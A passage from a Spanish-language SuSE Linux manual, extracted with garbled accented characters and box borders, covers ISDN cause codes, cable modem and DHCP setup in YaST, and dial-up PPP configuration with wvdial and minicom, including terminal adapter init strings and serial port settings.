  12030. #86  56                     La llamada con la ID solicitada ya se reaunud≤.
  12031. #88  58                     La  interfaz  del  abonado  llamado  no  es  capaz  de
  12032.                             cumplir  con  los  atributos  solicitados,  como  p. ej.
  12033.                             LLC o HLC.
  12034. #91  5B                     Se  solicit≤  una  red  de  traspaso  de  un  modo  incom-
  12035.                             patible.
  12036. #95  5F                     Si  no  existe  ninguna  causa  de  las  mencionadas  en
  12037.                             este grupo, se envφa este mensaje.
  12038.  
  12039.  
  12040.                             Grup 6: Fallos de protocolo
  12041.  
  12042.  
  12043. #96  60                     Falta un elemento informativo imprescindible.
  12044. #97  61                     El dispositivo que envφa este error, recibi≤ un tipo de
  12045.                             llamada desconocido o no implementado.
  12046. #98  62                     Se recibi≤ un mensaje no permitido respecto al esta-
  12047.                             do de la llamada o un mensaje tipo STATUS      en estado
  12048.                             no vßlido.
  12049.  
  12050.   ______________________________________________________________________________________________________________________
  12051.  
  12052.                    Tabla 6.1: Contin·a en la pßgina siguiente ...
  12053.                                                                                                                                  187
  12054. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12055.  *_______________________________________@
  12056.  
  12057.                             _______________________________________________________________________________________________________*
  12058.  *_________
  12059.  
  12060.  
  12061.                                 #99  63                    Se recibi≤ un elemento informativo desconocido o no
  12062.                                                            implementado. Es posible suprimir este elemento en
  12063.                                                            el pr≤ximo intento para conseguir la funci≤n deseada.
  12064.                                 #100  64                   El contenido de un elemento informativo no es vßlido
  12065.                                                            y no puede ser usado por el dispositivo que envφa la
  12066.                                                            causa.
  12067.                                 #101  65                   Se  recibi≤  un  mensaje  no  vßlido  respecto  al  estado
  12068.                                                            actual de la llamada.
  12069.                                 #102  66                   Se  inici≤  un  procedimiento  para  restablecer  una
  12070.                                                            conexi≤n  estable,  como  reacci≤n  a  la  expiraci≤n  de
  12071.                                                            un temporizador.
  12072.                                 #111  6F                   Ocurri≤ un error no especificado en este grupo.
  12073.  
  12074.                             _______________________________________________________________________________________________________*
  12075.  *_________
  12076.  
  12077.                                                        Tabla 6.1: RDSI-Causes en castellano
  12078.                            6.3       Modem cable
  12079.  
  12080.                            El  acceso  a  Internet  por  medio  del  cable  de  televisi≤n  tiene  una  difusi≤n
  12081.                            amplia  en  algunos  paφses  europeos  tal  como  en  los  Estados  Unidos  o  en
  12082.                            Canadß. En este secci≤n del libro le damos como ejemplo unas instrucciones
  12083.                            detalladas para acceder a Internet mediante el servicio austriaco ''Telekabel''.
  12084.                            Las  instrucciones  son  en  principio  equivalentes  para  otros  proveedores  de
  12085.                            cable en otros paφses.
  12086.  
  12087.  
  12088.                            6.3.1      Principios
  12089.  
  12090.                            El cliente de ''Telekabel'' recibe del proveedor un ''modem'' que por una parte
  12091.                            se conecta al cable de televisi≤n y por otra parte se conecta mediante un cable
  12092.                            de par trenzado (10Base-T) a una tarjeta red en la computadora. Este modem
  12093.                            ofrece entonces una lφnea dedicada con acceso continuo y generalmente con
  12094.                            una direcci≤n IP fija.
  12095.  
  12096.  
  12097.                            Procedimiento de instalaci≤n
  12098.  
  12099.                             1.   Si la tarjeta red ya estuviera configurada, proceda con el punto 8.
  12100.                             2.   Como usuario `root' inicie_el programa_YaST  ~ si el entorno KDE estß
  12101.                                  activo, debe apretar |A____l|t+ |F___|2y seguidamente introducir xterm     . Dentro
  12102.                                  de la nueva ventana puede cambiar a modo superusuario e iniciar YaST .
  12103.                             3.   Seleccione `Administraci≤n  del  sistema', `Instalar  hardware
  12104.                                  en  el  sistema', `Configurar  dispositivo  de  red'.
  12105.                             4.   Bajo `Tipo  de  red' indique eth0    .
  12106.                             5.   Bajo `Tipo  de  dispositivo  de  red' seleccione la tarjeta red de la
  12107.                                  computadora.
  12108.                             6.   Bajo  `Opciones  del  driver'  indique  parßmetros  como  el  puerto  de
  12109.                                  entrada/salida (IO-Port), etc.; respecto a los parßmetros de kernel consulte
  12110.                                  el capφtulo 14 en la pßgina 357Parßmetros del kernelchapter.14. Si la tar-
  12111.                                  jeta el del tipo PCI normalmente no hace falta indicar ning·n parßmetro.
  12112.  
  12113.  
  12114. 188
  12115.         ____________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL._._._____________*
  12116.  *_______________________
  12117.  
  12118.  
  12119.  
  12120.   7.   Seleccione `Continuar'_y vuelva al men· principal de YaST  apretando
  12121.        dos veces |E____s|c.
  12122.   8.   Ahora  entre  en  `Administraci≤n  del  sistema',  `Configuraci≤n
  12123.        de  red', `Configuraci≤n  bßsica  de  red'.
  12124.   9.   Ahora se encuentra en el formulario `Selecci≤n  de  red'.
  12125. 10.    Pulse |F___|_5para configurar el dispositivo como Ethernet        , si Θste a·n no
  12126.        se encuentra p. ej. como eth0     en la columna `Nombre  dispositivo'.
  12127. 11.    Pulse |F___|_3y seleccione `DHCP'.
  12128. 12.    Ahora pulse |F___|_4, para activar el dispositivo.
  12129. 13.    Con |F_____|10la nueva configuraci≤n se guarda.
  12130. 14.    Salga de YaST  pulsando varias veces |E_____|sc.
  12131. 15.    Para activar el acceso a la red introduzca rcdhclient  start              La funci≤n
  12132.        del mismo se puede comprobar p. ej. con ping  www.suse.de              .
  12133.  
  12134.  Estas instrucciones se refieren a las versiones de SuSE      Linux a partir de la
  12135.  versi≤n 6.4. En caso de usar a·n la versi≤n 6.3, se requiere un paso adicional:
  12136.  Use  YaST  para  poner  la  variable  rc.config  a  yes    (detalles  en  el  aparta-
  12137.  do 3.7.12 en la pßgina 116Cambiar fichero de configuraci≤nsubsection.3.7.12).
  12138.  De  esta  forma  el  acceso  a  la  red  se  activa  con  cada  inicio  de  sistema  sin
  12139.  necesidad de introducir ning·n comando.
  12140.  
  12141.  Una alternativa es la de introducir una configuraci≤n fija de red (ver aparta-
  12142.  do 5.1 en la pßgina 156Configuraci≤n con YaST  section.5.1), para el caso de
  12143.  tener  direcci≤n  IP  fija,  la  mßscara  de  red  y  la  pasarela.   Averigⁿe  esto  con
  12144.  su proveedor.  Una ventaja de la configuraci≤n fija es que el proceso de ar-
  12145.  ranque contin·a sin ning·n problema aunque el acceso estΘ fuera de servicio.
  12146.  Ademßs, en el momento que el servicio se restablece, la conexi≤n a Internet
  12147.  se realiza de inmediato.
  12148.  
  12149.  
  12150.  6.4       T-DSL, T-ISDN-DSL, ADSL. . .
  12151.  
  12152.  Linux ya ofrece soluciones para acceder a Internet vφa ADSL, T-ISDN-DSL,
  12153.  etc.,  pero  Θstas  se  encuentran  a·n  en  fase  de  desarrollo.  Por  tal  motivo  no
  12154.  damos soporte sobre estos temas.  (T-DSL y T-ISDN-DSL son los nombres
  12155.  utilizados por la empresa alemana Telekom  para sus servicios de conexi≤n a
  12156.  base de ADSL.)
  12157.  
  12158.  Sin  embargo  nuestro  banco  de  datos  de  soporte  contiene  un  artφculo  sobre
  12159.  el tema,  que reune informaci≤n sobre los ·ltimos desarrollos.  Este artφculo
  12160.  se encuentra en http://sdb.suse.de/sdb/de/html/hoe_adsl_pppoe.
  12161.  html.
  12162.  
  12163.  
  12164.  6.5       Conexi≤n de modem
  12165.  
  12166.  La  conexi≤n  de  un  modem  a  la  computadora  se  efect·a  igual  que  en  otros
  12167.  sistemas  operativos,  ya  sea  mediante  un  cable  de  puerto  serie  o  bien  in-
  12168.  troduciΘndolo en una ranura libre dentro de la computadora (modem inter-
  12169.  no).  El n·mero o nombre de puerto al cual estß conectado el modem se in-
  12170.  dica  en  YaST  (ver  apartado  3.7.1  en  la  pßgina  102Instalar  hardware  en  el
  12171.  sistemasubsection.3.7.1 y apartado 17.6 en la pßgina 438Inicializar hardware
  12172.  
  12173.  
  12174.                                                                                                                                    *
  12175.  *    189
  12176. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12177.  *_______________________________________@
  12178.  
  12179.  
  12180.  
  12181.                            local (Teclado, modem, mouse, PCMCIA etc.)Hfootnote.76).  YaST  genera
  12182.                            un enlace de /dev/modem al puerto de conexi≤n, de tal modo que se pueda
  12183.                            acceder siempre a Θl a travΘs de /dev/modem ~ si el enlace estß bien hecho ~
  12184.                            independientemente del puerto de conexi≤n real (p. ej.  /dev/ttyS0).
  12185.                            ________________________________________________________________________________________________________*
  12186.  *________||
  12187.                            |  Actualmente  se  venden  tambiΘn  modems  llamados  ''WinModem''  que                                *
  12188.  *        ||||
  12189.                            |                                                                                                       *
  12190.  *        |||
  12191.                            |  no funcionan bajo Linux (ver tambiΘn http://sdb.suse.de/sdb/de/                                      *
  12192.  *        |||
  12193.                            |  html/cep_winmodem.html y http://www.linmodems.org/).  Acerca                                         *
  12194.  *        |||
  12195.                            |                                                                                                       *
  12196.  *        |||
  12197.                            |  de modems en general puede consultar el Modem-HOWTO.gz.                                              *
  12198.  *        |||
  12199.                            |_______________________________________________________________________________________________________*
  12200.  *________|||_
  12201.  
  12202.                            Los programas de terminal ''normales'' que se pueden usar son p. ej.  minicom
  12203.                            o, bajo el sistema X Window, seyon .  Por otra parte tambiΘn se pueden hacer
  12204.                            las primeras pruebas directamente con wvdial  (apartado 6.6).
  12205.  
  12206.  
  12207.                            Minicom
  12208.  
  12209.                            Minicom es un programa de emulaci≤n de terminal de uso sencillo,  que se
  12210.                            maneja de forma parecida al programa DOS Telix .
  12211.  
  12212.                            Todos  los  usuarios  que  quieran  usar  minicom  deben  estar  anotados  en  el
  12213.                            fichero /etc/minicom.users. Allφ se define cußles usuarios tienen derecho
  12214.                            de acceso a cußl modem y con cußl configuraci≤n.
  12215.  
  12216.                            La configuraci≤n de Minicom se efect·a inicißndolo como `root' con:
  12217.  
  12218.                                  tierra:/  #  minicom  -s
  12219.  
  12220.                            Los ajustes necesarios para su uso no se diferencian de otros sistemas opera-
  12221.                            tivos y son auto-explicativos.
  12222.                            ________________________________________________________________________________________________________*
  12223.  *________
  12224.                            |  La combinaci≤n de teclas |C______|trl-|L_ |no funciona en un xterm o en rxvt , sin                   *
  12225.  *        |||
  12226.                            |                             ______       _                                                            *
  12227.  *        |||
  12228.                            |  embargo, funciona en kvt  o en una consola de texto.                                                 *
  12229.  *        |||
  12230.                            |_______________________________________________________________________________________________________*
  12231.  *________|||_
  12232.  
  12233.  
  12234.                            6.6       Con el modem a Internet:  PPP con wvdial
  12235.  
  12236.                            El  programa  wvdial   es  una  herramienta  potente  para  establecer  conex-
  12237.                            iones  anal≤gicas  a  un  proveedor  de  Internet  (+  ISP  (ingl.  Internet  Service
  12238.                            Provider)).  Los ISPs pueden usar ajustes diferentes en el protocolo PPP, lo
  12239.                            que dificulta a veces encontrar las opciones correctas. El programa wvdial  es
  12240.                            capaz de encontrar estas opciones basßndose en algoritmos inteligentes.
  12241.  
  12242.                            Anteriormente, cuando se estaba configurando el acceso a Internet, siempre
  12243.                            era necesario indicar el servidor de nombres del ISP. Usando wvdial  esto ya
  12244.                            no es necesario, ya que este programa reconoce automßticamente el servidor
  12245.                            de nombres del ISP, si Θste transmite la informaci≤n necesaria.
  12246.  
  12247.  
  12248.                            6.6.1      Configuraci≤n de wvdial
  12249.  
  12250.                            Es posible configurar c≤modamente wvdial desde YaST ; el men· para ello se
  12251.                            encuentra  bajo  `Administraci≤n  del  sistema',  `Configuraci≤n  de
  12252.                            red',  `Configurar  una  red  PPP'  y  se  puede  ver  en  la  figura  6.5  en  la
  12253.                            pßgina siguiente.
  12254.  
  12255.                            Proceda de la siguiente manera:
  12256.  
  12257.  
  12258. 190
  12259.      ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial______________________*
  12260.  *____________________
  12261.  
  12262.  
  12263.  
  12264.                 Figura 6.5: wvdial: Configuraci≤n de los parßmetros
  12265. o   Cerci≤rese de que YaST ya ha configurado correctamente el modem; esto
  12266.     ya fue hecho durante la primera instalaci≤n o en caso contrario se puede
  12267.     efectuar ahora (ver el apartado 3.7.1 en la pßgina 102Instalar hardware en
  12268.     el sistemasubsection.3.7.1).
  12269.  
  12270. o   Primero puede entrar a `Change  the  language  of  the  SuSE  wvdi-
  12271.     al  User  Interface' para cambiar el idioma a su gusto
  12272.  
  12273. o   Seleccione la opci≤n `Configurar  el  perfil  actual'.
  12274.  
  12275. o   Introduzca el n·mero de telΘfono, el nombre de usuario que le ha dado el
  12276.     proveedor y la contrase±a (figura 6.6).
  12277.  
  12278.                     Figura 6.6: wvdial: Configuraci≤n de proveedor
  12279.  
  12280.  
  12281.     Si la conexi≤n se establece a travΘs de una centralita, introduzca por detras
  12282.     del indicativo para conectar a la red p·blica (p. ej. 0 ) una coma o una w , o
  12283.     sea 0,   o 0w   .
  12284.  
  12285.  
  12286.                                                                                                                                    *
  12287.  * 191
  12288. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12289.  *_______________________________________@
  12290.  
  12291.                            ________________________________________________________________________________________________________*
  12292.  *________||
  12293.                            |  Si  estß  trabajando  bajo  el  sistema_ X  Window_ y  tiene_ problemas  de  in-                     *
  12294.  *        ||||
  12295.                            || troducir datos porque las flechas (|____|y | ___|!) o | ____7|n!o funcionan,  salga                  *
  12296.  *        ||||
  12297.                            |  primero de YaST  y cambie a una consola de texto usando |C______|_trl+ |A_____|lt+                   *
  12298.  *        ||||
  12299.                            |  | ___| | ___|                                                                                        *
  12300.  *        |||
  12301.                            |   F___2- F___6. Entre como superusuario para iniciar YaST  nuevamente desde la                        *
  12302.  *        |||
  12303.                            |  consola de texto.                                                                                    *
  12304.  *        |||
  12305.                            |_______________________________________________________________________________________________________*
  12306.  *________|||_
  12307.  
  12308.                              o   Seleccione la configuraci≤n automßtica del servidor de nombres.  Si esto
  12309.                                  no funciona, se debe configurar con YaST  de la forma habitual.  (ver el
  12310.                                  apartado 3.7.3 en la pßgina 108Configuraci≤n de redsubsection.3.7.3).
  12311.  
  12312.                              o   Seleccione el `MΘtodo  de  marcar' , normalmente es por tonos.
  12313.  
  12314.                              o   Si  el  modem  esta  conectado  a  una  centralita  marque  la  opci≤n  `Modem
  12315.                                  en  PBX' para que el programa no espere el tono de marcaci≤n.
  12316.  
  12317.                              o   `PAP/CHAP' deberφa funcionar siempre como modo de autentificaci≤n.
  12318.  
  12319.                              o   Salga del sub-men·.
  12320.  
  12321.                              o   DespuΘs de la configuraci≤n de proveedor se pasa al reconocimiento del
  12322.                                  modem.  Simplemente seleccione la opci≤n `Auto-detecci≤n  de  mo-
  12323.                                  dem'.
  12324.  
  12325.                              o   Si  este  reconocimiento  funciona,  seleccione  `Iniciar  wvdial'.   En-
  12326.                                  tonces aparecerß una ventana con varios mensajes.
  12327.  
  12328.                              o   Cuando aparezca el mensaje que indica que el proceso PPP se ha iniciado,
  12329.                                  ya puede usar Internet.
  12330.  
  12331.                              o   Compruebe  la  existencia  de  una__conexi≤n.___Para  ello  abra  una  ventana
  12332.                                  de terminal adicional (en KDE : |A____l|t+ |F___2|y despuΘs teclear xterm     ) e
  12333.                                  introduzca en esta ventana:
  12334.                                       tierra:  #  su
  12335.  
  12336.  
  12337.                                  y despuΘs la contrase±a de `root'. Ahora introduzca:
  12338.                                       tierra:  #  tail  -f  /var/log/messages
  12339.  
  12340.  
  12341.                                  Asφ se pueden ver los mensaje del sistema en el momento de su aparici≤n.
  12342.                                  Si es posible ver lφneas con "Local  IP:" y "Remote  IP:" ~ cada una
  12343.                                  seguida  de  un  n·mero  IP  ~  puede  estar  seguro  de  haber  establecido  la
  12344.                                  conexi≤n a Internet.
  12345.  
  12346.                              o   Termine el acceso a Internet con |C______|_trl+ |c__|.
  12347.  
  12348.                              o   Si todo ha funcionado, es posible iniciar la conexi≤n a Internet desde la
  12349.                                  lφnea  de  comandos  lanzando  sencillamente  wvdial  y  finalizßndolo  con
  12350.                                  |_______|Ctrl+ |c__|.
  12351.  
  12352.                              o   Para modificar posteriormente la configuraci≤n sin YaST , es posible uti-
  12353.                                  lizar  wvdial.lxdial  o  ~  con  superficie  grßfica  ~  wvdial.tcl ;  esto  solo  se
  12354.                                  puede realizar como `root'.
  12355.  
  12356.                            En  el  directorio  /usr/doc/packages/wvdial  hay  documentaci≤n  sobre
  12357.                            wvdial .
  12358.  
  12359.  
  12360.                            wvdial como usuario y la seguridad
  12361.  
  12362.                            Para  hacer  esto  tambiΘn  como  usuario  normal  (no  como  superusuario
  12363.                            `root'), es necesario anotar a este usuario ''normal'' en los grupos `uucp'
  12364.  
  12365.  
  12366. 192
  12367.        ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial____________________*
  12368.  *______________________
  12369.  
  12370.  
  12371.  
  12372. y  `dialout'.    Para  ello  se  puede  usar  YaST  (ver  apartado  3.7.8  en  la
  12373. pßgina 114Administraci≤n de grupossubsection.3.7.8).
  12374. Para que otros usuarios, aparte del superusuario `root', puedan establecer
  12375. conexiones PPP con wvdial , es preciso hacer al usuario en cuesti≤n miembro
  12376. de  los  grupos  `uucp'  y  `dialout'.  Esto  se  puede  realizar  con  YaST  tal
  12377. como  se  explica  en  el  apartado  3.7.8  en  la  pßgina  114Administraci≤n  de
  12378. grupossubsection.3.7.8.
  12379.  
  12380. Los usuarios dados de alta en los grupos `uucp' y `dialout' tendrßn acceso
  12381. al fichero /etc/wvdial.conf, que contiene el ''login'' y la contrase±a para
  12382. el acceso a Internet. Para aumentar la seguridad es posible ''poner a salvo'' la
  12383. contrase±a introduciΘndola en un fichero aparte:
  12384.  
  12385.  1.   Cambie al directorio /etc/ppp y genere como `root' el fichero wvpw
  12386.       con los derechos 600   .
  12387.            tierra:  #  cd  /etc/ppp
  12388.            tierra:/etc/ppp  #  touch  wvpw
  12389.            tierra:/etc/ppp  #  chmod  600  wvpw
  12390.  
  12391.  2.   Edite  p. ej. con  vi   el  fichero  wvpw  e  introduzca  allφ  solo  la  contrase±a;
  12392.       despuΘs guarde el fichero.
  12393.  3.   Compruebe  que  los  derechos  del  fichero  wvpw  sean  correctos.   Use  el
  12394.       comando:
  12395.            tierra:/etc/ppp  #  ls  -l  wvpw
  12396.  
  12397.       y compßrelo con la salida en pantalla 6.6.1.
  12398.  
  12399.        _______________________________________________________________________________________________________________________
  12400.        |||||||| -rw-------     1  root     root            7    Jan  18  17:20  wvpw                                           |
  12401.        ||||||||                                                                                                                |
  12402.        ||||||||_______________________________________________________________________________________________________________ |
  12403.            Mensaje en pantalla 6.6.1: Salida en pantalla de ls  -l  wvpw
  12404.  
  12405.  
  12406.  4.   Ahora hay que repitir la configuraci≤n tal como se explic≤ en el aparta-
  12407.       do 6.6.1 en la pßgina 190Configuraci≤n de wvdial subsection.6.6.1, pero a
  12408.       diferencia de Θste se introduce ahora @/etc/ppp/wvpw              como contrase±a.
  12409.       Anteponiendo la ''arroba'' (@ ) wvdial  sabe que la contrase±a se encuentra
  12410.       en el fichero indicado.
  12411.  
  12412.  
  12413. El modem emite un sonido fuerte
  12414.  
  12415. Cuando el volumen del altavoz es demasiado fuerte, puede editar el fichero
  12416. /etc/wvdial.conf a±adiendo la lφnea
  12417.  
  12418. Init3  =  ATM0
  12419.  
  12420. Con este comando el altavoz del modem se apaga.
  12421.  
  12422.  
  12423. 6.6.2      Configurar varios proveedores con wvdial
  12424.  
  12425. wvdial  es  capaz  de  administrar  varios  juegos  de  parßmetros  para  conec-
  12426. tar  con  varios  proveedores.     Para  conseguirlo  hace  falta  generar  en  el
  12427. fichero  /etc/wvdial.conf  algunos  pßrrafos  adicionales  al  lado  del  pßr-
  12428. rafo  Dialer  Default           .   Iniciando  wvdial      con  el  nombre  de  uno  de  estos
  12429.  
  12430.  
  12431.                                                                                                                                    *
  12432.  *   193
  12433. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12434.  *_______________________________________@
  12435.  
  12436.  
  12437.  
  12438.                            pßrrafos,  primero  se  leen  los  parßmetros  de  la  parte  ''Default''.   Todos  los
  12439.                            parßmetros  que  se  indican  en  el  pßrrafo  adicional  que  se  haya  nombrado,
  12440.                            reemplazan los valores anteriores de la parte ''Default''.
  12441.  
  12442.                            Un  poco  mßs  adelante  viene  un  ejemplo  para  los  proveedores  Teleline
  12443.                            (fichero  6.6.1)  y  Uni2.   La  primera  configuraci≤n  se  genera  con  YaST  y
  12444.                            Θsta se amplφa manualmente con las lφneas que figuran en el fichero 6.6.2.
  12445.  
  12446.                            ________________________________________________________________________________________________________*
  12447.  *________||||
  12448.                            | [Dialer  Defaults]                                                                                    *
  12449.  *         |
  12450.                            | Modem  =  /dev/ttyS0                                                                                  *
  12451.  *         |
  12452.                            |                                                                                                       *
  12453.  *         |
  12454.                            | Init1  =  ATZ                                                                                         *
  12455.  *         |
  12456.                            | Init2  =  ATQ0  V1  E1  S0=0  &C1  &D2  S11=55  +FCLASS=0                                             *
  12457.  *         |
  12458.                            | Init3  =  ATM0                                                                                        *
  12459.  *         |
  12460.                            |                                                                                                       *
  12461.  *         |
  12462.                            | Compuserve  =  0                                                                                      *
  12463.  *         |
  12464.                            | Tonline  =  1                                                                                         *
  12465.  *         |
  12466.                            |                                                                                                       *
  12467.  *         |
  12468.                            | Dial  Command  =  ATX3DT                                                                              *
  12469.  *         |
  12470.                            | Baud  =  115200                                                                                       *
  12471.  *         |
  12472.                            |                                                                                                       *
  12473.  *         |
  12474.                            | Auto  DNS  =  1                                                                                       *
  12475.  *         |
  12476.                            | Stupid  Mode  =  0                                                                                    *
  12477.  *         |
  12478.                            |                                                                                                       *
  12479.  *         |
  12480.                            | New  PPPD  =  1                                                                                       *
  12481.  *         |
  12482.                            |                                                                                                       *
  12483.  *         |
  12484.                            |                                                                                                       *
  12485.  *         |
  12486.                            | Phone  =932345000                                                                                     *
  12487.  *         |
  12488.                            | Username  =  ????????                                                                                 *
  12489.  *         |
  12490.                            | Password  =  ???????                                                                                  *
  12491.  *         |
  12492.                            |_______________________________________________________________________________________________________*
  12493.  *________ |
  12494.  
  12495.                                             Fichero 6.6.1: /etc/wvdial.conf               : Pßrrafo estßndar
  12496.  
  12497.  
  12498.                            ________________________________________________________________________________________________________*
  12499.  *________
  12500.                            | [Dialer  Uni2]                                                                                        *
  12501.  *         |
  12502.                            |                                                                                                       *
  12503.  *         |
  12504.                            | Phone  =       900902030                                                                              *
  12505.  *         |
  12506.                            | Username  =  ????????                                                                                 *
  12507.  *         |
  12508.                            | Password  =  ????????                                                                                 *
  12509.  *         |
  12510.                            |_______________________________________________________________________________________________________*
  12511.  *________ |
  12512.  
  12513.                                         Fichero 6.6.2: /etc/wvdial.conf               : Pßrrafo suplementario
  12514.  
  12515.  
  12516.                            Ejecutando wvdial sin parßmetro adicional se establece la conexi≤n a Teleline
  12517.                            mientras que con el comando wvdail  Uni2          se establece la conexi≤n a Uni2
  12518.                            (consulte tambiΘn la pßgina del manual de wvdial       (man  wvdial        )).
  12519.  
  12520.  
  12521.                            6.6.3      Adaptadores de terminal para RDSI
  12522.  
  12523.                            Los adaptadores de terminal permiten la conexi≤n con RDSI. En compara-
  12524.                            ci≤n a las tarjetas RDSI usuales, la computadora y el adaptador de terminal
  12525.                            se conectan mediante un cable de puerto serie.  Los adaptadores simulan en
  12526.                            principio un modem anal≤gico, no obstante estos muestran ciertas particular-
  12527.                            idades; p. ej.
  12528.  
  12529.                              o   necesitan comandos especiales para establecer una conexi≤n punto a pun-
  12530.                                  to y
  12531.  
  12532.                              o   con la configuraci≤n por defecto generan mensajes del tipo CONNECT       am-
  12533.                                  pliados.
  12534.  
  12535.                            A raφz de esto se requiere una adaptaci≤n de la configuraci≤n de modem:
  12536.  
  12537.  
  12538. 194
  12539.       ___________________________________________________________6.6.__Con_el_modem_a_Internet:_PPP_con_wvdial_____________________*
  12540.  *_____________________
  12541.  
  12542.  
  12543.  
  12544. 1.   Prescinda de la detecci≤n automßtica del modem, la que normalmente se
  12545.      ejecuta  vφa  YaST  con  `Administraci≤n  de  sistema'  /  `Configu-
  12546.      raci≤n  de  red' / `Configurar  una  red  PPP' / `Auto-detecci≤n
  12547.      de  modem'.
  12548. 2.   Defina la interface de modem en YaST  a travΘs de las opciones `Admin-
  12549.      istraci≤n  de  sistema' / `Instalar  hardware  en  el  sistema'
  12550.      / `Configuraci≤n  del  modem'.
  12551. 3.   Entre al sistema como superusuario `root'.
  12552. 4.   Cree el fichero /etc/wvdial.conf manualmente; normalmente se crea
  12553.      con  un  mecanismo  automßtico.   El  contenido  de  este  fichero  debe  ser
  12554.      como se muestra en el fichero 6.6.3.
  12555.       _______________________________________________________________________________________________________________________||||
  12556.  
  12557.       |||||||| [Dialer  Defaults]                                                                                             |
  12558.       |||||||| Modem  =  /dev/modem                                                                                           |
  12559.       |||||||| Baud  =  115200                                                                                                |
  12560.       ||||||||                                                                                                                |
  12561.       |||||||| Init1  =  <Entrada  especial  1>                                                                               |
  12562.       |||||||| Init2  =  <Entrada  especial  2>                                                                               |
  12563.       ||||||||                                                                                                                |
  12564.       |||||||| ;  Phone  =                                                                                                    |
  12565.       |||||||| ;  Username  =                                                                                                 |
  12566.       ||||||||                                                                                                                |
  12567.       |||||||| ;  Password  =                                                                                                 |
  12568.       ||||||||                                                                                                                |
  12569.       ||||||||                                                                                                                |
  12570.       ||||||||_______________________________________________________________________________________________________________ |
  12571.        Fichero 6.6.3:  /etc/wvdial.conf               :  Adaptador  de  terminal
  12572.  
  12573.  
  12574.      En lugar de <Entrada especial 1> y <Entrada especial 2> se debe intro-
  12575.      ducir ~ seg·n el dispositivo en cuesti≤n ~ uno de los siguientes valores:
  12576.  
  12577.      Fabricante ELSA:              ELSA MicroLink ISDN/TLpro y ISDN/TLV.34:
  12578.  
  12579.          Init1  =  AT&F\N10%P1
  12580.          Init2  =  AT\V0
  12581.  
  12582.  
  12583.      Fabricante ELSA:              ELSA TanGo 1000 y ELSA TanGo 2000:
  12584.  
  12585.          Init1  =  AT&F$IBP=HDLCP
  12586.          Init2  suprimido
  12587.  
  12588.  
  12589.      Fabricante Zyxel:            Todos los modelos:
  12590.  
  12591.          Init1  =  AT&FB40
  12592.          Init2  =  ATXO
  12593.  
  12594.  
  12595.      Fabricante Hagenuk:                Speed/Viper Dragon:
  12596.  
  12597.          Init1  =  ATZ
  12598.          Init2  =  AT&FB8X0
  12599.  
  12600.  
  12601.      Otros fabricantes:            Consulte en la documentaci≤n del fabricante el ''Init-
  12602.          string'' del adaptador.  A veces la documentaci≤n incluye scripts para
  12603.          Unix  o  Linux  que  contienen  esta  cadena  (''Initstring'').   TambiΘn  es
  12604.          posible mirar el ''Initstring'' usado para otros sistemas operativos (p. ej.
  12605.          MS-Windows).
  12606.  
  12607.  
  12608.                                                                                                                                    *
  12609.  *  195
  12610. 6.  Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
  12611.  *_______________________________________@
  12612.  
  12613.  
  12614.  
  12615.                            Realice los demßs pasos de configuraci≤n tal como se describe en el manual.
  12616.                            Advertencia:  No se deben confundir los adaptadores de terminal (RDSI-TA)
  12617.                            con  centralitas  que  incorporan  una  tarjeta  RDSI.  Estos  ·ltimos  tambiΘn  se
  12618.                            conectan  a  travΘs  de  un  cable  de  puerto  serie,  pero  usan  un  protocolo  de
  12619.                            comunicaci≤n propietario por lo que no se pueden usar bajo Linux.  Para su
  12620.                            funcionamiento se requiere un driver CAPI, que los fabricantes actualmente
  12621.                            no proporcionan para Linux. Esto afecta a los siguientes dispositivos:
  12622.  
  12623.                              o   Eumex 404 PC
  12624.                              o   Eumex 322 PCi
  12625.                              o   AVM Fritz!XPCDr.
  12626.                              o   Neuhaus Triccy Data LCR
  12627.  
  12628.  
  12629.                            6.6.4      Configuraci≤n de modems PCI
  12630.  
  12631.                            En Linux las interrupciones (IRQ) y la direcciones de entrada y salida (IO ad-
  12632.                            dress) de los puertos serie tienen por defecto los valores que usan las tarjetas
  12633.                            ISA. Estos valores representan prßcticamente un estßndar, por lo que no hay
  12634.                            conflictos con recursos en muchos PCs. Al contrario de lo que sucede con las
  12635.                            tarjetas ISA, la BIOS asigna los recursos de las tarjetas PCI en el momento
  12636.                            del arranque.  Cuando solo la BIOS lo decide,  estos valores no concuerdan
  12637.                            con los tradicionales.
  12638.  
  12639.                            Para evitar dichos conflictos, proceda de la siguiente forma antes de la con-
  12640.                            figuraci≤n de wvdial :
  12641.  
  12642.                             1.   Con el comando scanpci  -v          determine los valores reales que la BIOS
  12643.                                  haya asignado a los puertos serie. Lo que se debe averiguar es la interrup-
  12644.                                  ci≤n (IRQ) y la direcci≤n E/S (IO-port).
  12645.                             2.   Integre  el  modem  al  sistema  usando  en  YaST  las  opciones  `Adminis-
  12646.                                  traci≤n  del  sistema' / `Instalar  hardware  en  el  sistema' /
  12647.                                  `Configuraci≤n  del  modem'.
  12648.                                  Preste atenci≤n a un mouse de puerto serie eventualmente existente u otros
  12649.                                  puertos  serie.   En  caso  de  duda  seleccione  /dev/ttyS2  para  evitar  un
  12650.                                  conflicto con una tarjeta controladora (de puertos serie) adicional.
  12651.                             3.   Con  el  comando  setserial          se  puede  modificar  la  configuraci≤n  del
  12652.                                  puerto  serie.  Si  p. ej.  el  modem  estß  ocupando  el  IRQ  5  y  la  direcci≤n
  12653.                                  E/S 0x220     ,  pero el kernel lo espera en IRQ 4 y con puerto 0x02f8      ,  se
  12654.                                  puede remediar el problema con el comando:
  12655.                                       tierra:  #  setserial  /dev/ttyS2  irq  5  port  0x220
  12656.                                  Es necesario ejecutar este comando en cada arranque de la mßquina. Para
  12657.                                  ello una posibilidad es la de a±adir una entrada al fichero /sbin/init.d/
  12658.                                  boot.local.  Otra posibilidad es modificar el pßrrafo start      del fichero
  12659.                                  /sbin/init.d/serial:
  12660.                                       run_setserial  /dev/ttyS2  irq  5  port  0x220
